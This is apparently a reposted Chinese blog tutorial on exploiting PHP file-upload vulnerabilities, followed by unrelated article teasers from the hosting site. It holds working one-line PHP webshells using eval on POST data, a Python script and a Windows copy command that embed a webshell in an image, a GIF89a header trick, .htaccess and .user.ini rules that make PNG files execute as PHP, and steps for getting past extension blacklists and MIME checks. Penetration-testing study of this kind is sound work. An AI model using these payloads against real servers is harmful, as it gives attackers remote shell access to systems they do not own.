六、文件上传漏洞

下面内容部分:参考

一、文件上传漏洞解释

解释:文件上传漏洞一般指的就是用户能够绕过服务器的规则设置将自己的木马程序放置于服务器实现远程shell(例如使用蚁剑远程连接),常见的木马有一句话木马(php)

  1. 无需启用short_open_tag<?php@eval($_POST['mypost'])?>
  2. 需要启用short_open_tag<?=eval($_POST['mypost']);?>

1.原理

解释:文件上传漏洞如果存在可能会被攻击端获得webshell,文件上传漏洞的存在,我目前认为可能有下面几个方面

  1. 服务端过滤不力(必需用白名单机制),没有严格对内容进行过滤,放过了应该过滤掉的可疑木马程序
  2. 服务器没有把上传的文件与服务器可运行目录内容分开放置,导致文件能够被随意执行(例如php)
  3. 服务器配置有重要问题

二、文件上传漏洞执行

1.PHP

解释:下面的情况适用于php为服务器的情况

1.1 前端绕过与MIME进行检查

适用条件:服务器对在前端对于文件后缀进行筛选,或服务器在后端对用户调教的Content-Type进行检查

绕过:直接使用Burpsuite,然后上传一个带有php木马的文件,但是将其名字修改为png,这样可以绕过这两个限制,然后使用Burpsuite进行拦截将png后缀重新修改至php实现渗透

MIME常用类型

  1. text/plain
  2. text/html
  3. text/css
  4. text/javascript
  5. image/gif
  6. image/png
  7. image/jpeg
  8. image/bmp
  9. image/webp
  10. image/x-icon
  11. audio/midi
  12. audio/mpeg
  13. application/octet-stream
  14. application/xml
  15. application/pdf

1.2 黑名单绕过

解释:总所周知,在文件上传过滤处,只有白名单才是相对安全的,而黑名单存在各种各样的问题

1.2.1 大小写绕过

适用条件:windows上面部署的服务器,如IIS或者其它;服务器没有过滤大小写

解释:windows上面会自动把类似a.Php转换为a.php这样我们上传a.phP到服务器上就是可以正常运行的a.php

1.2.2 后缀绕过

适用条件:当服务器对用户采取黑名单过滤时,此时用户可以尝试多种可能能够执行php代码的文件后缀

绕过:修改文件名为webshell.php1webshell.php2此时在某些特定情况下(比如apache如果配置不当可能把php1当做php进行解析)可能会执行成功

1.2.3 重写绕过

适用条件:服务器在对文件名过滤时,如果我们上传的内容在黑名单里面,服务器可能会对内容进行删除,此时可能适用重写来进行绕过

绕过:shell.phphpp // 当匹配到php时,shell.phphpp就变为shell.php中间那个php就被删除了

1.3 文件内容验证绕过(图片)

适用条件:服务器对于图片文件不单单会去验证后缀,可能还会去验证文件头,或者内容

1.3.1 文件头

解释:对于上传的图片内容一般未必是通过后缀来进行判断,很多可能都是通过读取其内容进行判
断,一般就是读取文件头。

常见的文件头(GIF那个相对简单可以直接复制GIF89a到文件开头):

  1. JPG: FF D8 FF E0 00 10 4A 46 49 46.
  2. GIF:47 49 46 38 39 61(GIF89a).
  3. PNG:89 50 4E 47

提醒:目前从我利用的经验看,一般GIF89a能超过,其它还没有成功过

构造:

GIF89a
<?=eval($_POST['mypost']);?>
1.3.2 文件木马

解释:通过将正常的图片与php恶意木马连接来形成文件木马,目的是绕过服务器对内容的一般检测

python生成:

from PIL import Image


def create_image(file_path, file_type, payload):
    # 创建一个空的白色图片
    img = Image.new('RGB', (60, 30), color=(73, 109, 137))

    # 保存图片,并指定文件类型
    img.save(file_path, file_type)
    # 加入payload
    with open(file_path, 'a') as f:
        f.write(payload)


# 创建并保存图片

payload = '''
<?=eval($_POST['mypost']);?>
'''
# 文件类型 GIF/PNG/JPEG等等
create_image('要生成图片的文件名', '文件类型', payload)

window cmd生成:

copy 一张图片.png/b+一句话木马.php/a 生成图片名称.png

在这里插入图片描述

1.4 服务器相关绕过

1.4.1 window系统特性

解释:window系统有很多与linux不同的特性,比如创建文件后缀有空格会自动删除,利用这些特性说不定可以达到意想不到的效果

  1. 空格:index.php[空格] //window会自动解析为index.php

  2. 加点:index.php......... //window会自动解析为index.php

  3. 加::$DATA::$DATA....

    with open('inex.php::$DATA....', 'w') as f:
        f.close()
    
1.4.2 .htaccess利用

适用条件:Apache服务器

解释:在Apache当中有两个配置文件分别为httpd-conf(优先级小,管理员才可修改,重启服务器生效)与.htaccess(优先级大,可修改,立即生效),其中httpd-conf是全局文件,.htaccess是局部文件,.htaccess书写的配置能够在局部范围内覆盖httpd-conf的配置

应用:先上传一个.htaccess文件,内容如下(下面内容告诉服务器将.png内容当作php内容去进行解析),然后再上传一个被改名为.png的php木马程序即可

AddType application/x-httpd-php .png
1.4.3 .user.ini利用

相关文章:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

适用条件:上传的文件同执行的php程序在一个目录下面,存在于fastcgi运行的php里面

解释:在php当中有两个配置文件分别为php.ini(优先级小,重启服务器生效)与.htaccess(优先级大,修改立即生效),其中 php.ini是全局文件, .user.ini是局部文件, .user.ini书写的配置能够在局部范围内覆盖php.ini的配置

应用:先上传.user.ini,内容如下(下面的内容会让任意一个执行的php文件时,都会同时去执行自动关联的文件如下面的xx.png),如果能够成功,然后再上传一个被改名为xx.png的php木马程序即可,然后再随意访问一个php页面测试即可

注意:上传成功后可能需要等待一会才能生效(可以多传两次)

Auto-prepend-flie=xx.png

三、利用思路

注解:仅仅为本人思路,本人知识浅薄,仅供参考

  1. 先通过F12查看对方服务器是nginx还是apache,并思考可能利用的漏洞
  2. 通过修改Content-Type为正常内容的,测试服务器是否会以此为依据进行判断文件
  3. 如果不以Content-Type为依据通过上传文件test.dwadswafsfwfw测验对方是白名单还是黑名单机制

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/165868.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

各类语言真实性能比较列表

这篇文章是我所做或将要做的所有真实世界性能比较的索引。如果你对想要看到的其他真实世界案例有建议&#xff0c;请在评论中添加。 用例 1 — JWT 验证 & MySQL 查询 该用例包括&#xff1a; 从授权头部获取 JWT验证 JWT 并从声明中获取电子邮件使用电子邮件执行 MySQL…

〖大前端 - 基础入门三大核心之JS篇㊳〗- DOM访问元素节点

说明&#xff1a;该文属于 大前端全栈架构白宝书专栏&#xff0c;目前阶段免费&#xff0c;如需要项目实战或者是体系化资源&#xff0c;文末名片加V&#xff01;作者&#xff1a;不渴望力量的哈士奇(哈哥)&#xff0c;十余年工作经验, 从事过全栈研发、产品经理等工作&#xf…

SQL练习02

1.买下所有产品的客户 SQL Create table If Not Exists Customer (customer_id int, product_key int); Create table Product (product_key int); Truncate table Customer; insert into Customer (customer_id, product_key) values (1, 5); insert into Customer (customer_…

鸿蒙:使用Stack、ContentTable、Flex等组件和布局实现一个显示界面

效果展示 一.概述 跟随官网继续HarmonyOS学习 本篇博文实现一个食物详情页的开发Demo 通过这个开发过程学习如何使用容器组件Stack、Flex和基本组件Image、Text&#xff0c;构建用户自定义组件&#xff0c;完成图文并茂的食物介绍 二.构建Stack布局 1.食物名称 创建Stack…

YOLOv5 学习记录

文章目录 整体概况数据增强与前处理自适应Anchor的计算Lettorbox 架构SiLU激活函数YOLOv5改进点SSPF 模块 正负样本匹配损失函数 整体概况 YOLOv5 是一个基于 Anchor 的单阶段目标检测&#xff0c;其主要分为以下 5 个阶段&#xff1a; 1、输入端&#xff1a;Mosaic 数据增强、…

【LeetCode刷题-树】--100.相同的树

100.相同的树 /*** Definition for a binary tree node.* public class TreeNode {* int val;* TreeNode left;* TreeNode right;* TreeNode() {}* TreeNode(int val) { this.val val; }* TreeNode(int val, TreeNode left, TreeNode right) {* …

【数据结构】C语言实现队列

目录 前言 1. 队列 1.1 队列的概念 1.2 队列的结构 2. 队列的实现 2.1 队列的定义 2.2 队列的初始化 2.3 入队 2.4 出队 2.5 获取队头元素 2.6 获取队尾元素 2.7 判断空队列 2.8 队列的销毁 3. 队列完整源码 Queue.h Queue.c &#x1f388;个人主页&#xff1a…

获取每个部门中当前员工薪水最高的相关信息

个人网站 首发于公众号小肖学数据分析 描述 有一个员工表dept_emp简况如下: 有一个薪水表salaries简况如下: 获取每个部门中当前员工薪水最高的相关信息&#xff0c;给出dept_no, emp_no以及其对应的salary&#xff0c;按照部门编号dept_no升序排列&#xff0c;以上例子输出…

【NI-DAQmx入门】校准

1.设备定期校准的理由 随着时间的推移电子器件的特性会发生自然漂移&#xff0c;可能会导致测量结果的不准确性。防止出现良品和差品筛选出错的情况满足行业国际标准降低设备出现故障的风险使测量结果更具备参考性 2.查找NI设备的校准间隔。 定期校准会使DAQ设备的精度保持在…

电路的基本原理

文章目录 一、算数逻辑单元(ALU)1、功能2、组成 二、电路基本知识1、逻辑运算2、复合逻辑 三、加法器实现1、一位加法器2、串行加法器3、并行加法器 一、算数逻辑单元(ALU) 1、功能 算术运算&#xff1a;加、减、乘、除等 逻辑运算&#xff1a;与、或、非、异或等 辅助功能&am…

C语言ASCII码排序(1086: ASCII码排序(多实例测试))

题目描述 输入三个字符后&#xff0c;按各字符的ASCII码从小到大的顺序输出这三个字符。 输入&#xff1a;输入数据有多组&#xff0c;每组占一行&#xff0c;由三个字符组成&#xff0c;之间无空格。chu 输出&#xff1a;对于每组输入数据&#xff0c;输出一行&#xff0c;字符…

云课五分钟-0Cg++默认版本和升级-std=c++17

前篇&#xff1a; 云课五分钟-0B快速排序C示例代码-注释和编译指令 视频&#xff1a; 云课五分钟-0Cg默认版本和升级-stdc17 文本&#xff1a; 在Linux系统中&#xff0c;可以通过以下步骤升级g&#xff1a; 打开终端&#xff0c;使用root权限或者sudo权限登录。输入以下命令…

cad提示由于找不到mfc140u.dll,无法继续执行代码怎么修复

在Windows操作系统中&#xff0c;mfc140u.dll是一个重要的文件&#xff0c;很多软件运行都需要它&#xff0c;它属于Microsoft Visual C库的一部分。许多基于C的开发项目都依赖于这个文件&#xff0c;如果在使用过程中出现丢失现象&#xff0c;可能导致相关软件或游戏无法正常运…

Linux管道的工作过程

常用的匿名管道&#xff08;Anonymous Pipes&#xff09;&#xff0c;也即将多个命令串起来的竖线。管道的创建&#xff0c;需要通过下面这个系统调用。 int pipe(int fd[2]) 我们创建了一个管道 pipe&#xff0c;返回了两个文件描述符&#xff0c;这表示管道的两端&#xff…

丢掉破解版,官方免费了!!!

哈喽&#xff01;大家好。 几天不见&#xff0c;今天给大家带来一款海外的神器&#xff0c;官方宣布完全免费&#xff0c;但仅限于个人与教育用途&#xff0c;切勿商用噢&#xff01; 不要看这个软件名字普普通通&#xff0c;实际上内蕴乾坤&#xff01; 接下来看我给大家炫一…

【【VDMA彩条显示实验之三 之 RGB LCD 彩条显示实验 】】

VDMA彩条显示实验之三 之 RGB LCD 彩条显示实验 VDMA彩条显示实验之三 之 RGB LCD 彩条显示实验 LCD 的构造是在两片平行的玻璃基板当中放置液晶盒&#xff0c;下基板玻璃上设置 TFT&#xff08;薄膜晶体管&#xff09;&#xff0c;上基板玻璃上设置彩色滤光片&#xff0c;通…

Android修行手册-POI操作中文API文档

Unity3D特效百例案例项目实战源码Android-Unity实战问题汇总游戏脚本-辅助自动化Android控件全解手册再战Android系列Scratch编程案例软考全系列Unity3D学习专栏蓝桥系列ChatGPT和AIGC &#x1f449;关于作者 专注于Android/Unity和各种游戏开发技巧&#xff0c;以及各种资源分…

【Linux系统化学习】进程的状态 | 僵尸进程 | 孤儿进程

个人主页点击直达&#xff1a;小白不是程序媛 Linux专栏&#xff1a;Linux系统化学习 目录 操作系统进程的状态 运行状态 阻塞状态 进程阻塞的现象 挂起阻塞状态 Linux进程状态 Linux内核源代码怎么说 R&#xff08;running状态&#xff09;运行状态 S&#xff08;sl…

改进YOLOv8:结合ODConv构成C2f_ODConv:即插即用的动态卷积/可轻量化

🗝️YOLOv8实战宝典--星级指南:从入门到精通,您不可错过的技巧   -- 聚焦于YOLO的 最新版本, 对颈部网络改进、添加局部注意力、增加检测头部,实测涨点 💡 深入浅出YOLOv8:我的专业笔记与技术总结   -- YOLOv8轻松上手, 适用技术小白,文章代码齐全,仅需 …

穿越风波,“长红”的直播电商依然扎根产业和消费者

当消费者将最后一个快递拿进家门&#xff0c;2023年的双11也就落下了帷幕。相较于往年组队、拼单的玩法&#xff0c;如今最受欢迎的双11 流程&#xff0c;或许已经变成点进自己心仪主播、店铺的直播间&#xff0c;翻阅最新的产品清单&#xff0c;从中选择购物目标&#xff0c;在…